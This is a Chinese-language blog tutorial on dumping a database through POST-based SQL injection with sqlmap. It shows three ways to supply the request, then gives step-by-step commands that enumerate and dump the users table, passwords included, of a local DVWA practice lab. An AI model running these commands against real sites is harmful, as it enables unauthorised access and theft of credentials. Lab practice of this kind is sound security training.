SQLMAP 脱库过程(post请求,三种方法)

一、准备工作

1、sqlmap为python语言开发,因此需要具备python环境。

2、python环境搭建及sqlmap下载,可参考其他文章。(很多也很全,这个不是本文重点,因此略过)

二、环境搭建

1、本人使用的是Mac、windows7虚拟机,windows7中部署DVMA

2、以DVMA的sql注入为例(DVMA安全级别为medium),进行详细介绍。

三、post请求脱库三种方法

方法1:sqlmap -r xxx.txt

利用burp抓包,保存报文为txt文件,利用sqlmap指定文本注入。

方法2:sqlmap -u "url" --forms [最简单]

sqlmap的forms参数,会自动抓取post包。从而进行注入。

方法3:sqlmap -u "url" --data "key1=value1&key2=values&key3=values"

指定参数,key=value形式,多参数使用&符号链接。

四、post请求脱库(方法1:需借助burpsuit)
1、访问链接“http://192.168.200.130/DVWA/vulnerabilities/sqli/” User ID下拉“1” ,如下图。(此处不在验证sql注入,直接使用sqlmap脱库)

待测试链接为“http://192.168.200.130/DVWA/vulnerabilities/sqli/”,可发现没有参数,报文信息如下,将报文另存为post.txt:

2、开始sqlmap测试,python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch

(-r 指定文件路径,类似于-u指定链接一样),可发现id存在注入,如下图。

3、获取当前数据库 --current-db参数,即python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch --current-db

分析出当前数据库为dvwa

4、获取当前数据库下的表 --tables参数 即python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch -D dvwa --tables

(-D:指定数据库名)

可发现,运行结果后,有两个表,分别是guestbook、users

5、获取指定表的列属性 --columns参数 即:python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch -D dvwa -T users --columns

(-D:指定数据库名,-T:指定表名)

运行结果后,存在8个列属性,如下图所示。

6、正式脱库 --dump参数,即python sqlmap.py -r "/Users/***/Desktop/post.txt" --batch -D dvwa -T users -C "user,avatar,password,user_id" --dump

(-D:指定数据库名,-T:指定表名,-C:指定需要的列名,--dump代表下载)

可发现,已将相关信息下载到“/Users/***/.sqlmap/output/192.168.200.130/dump/dvwa/users.csv”目录下。

成功完成post请求注入的脱库。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值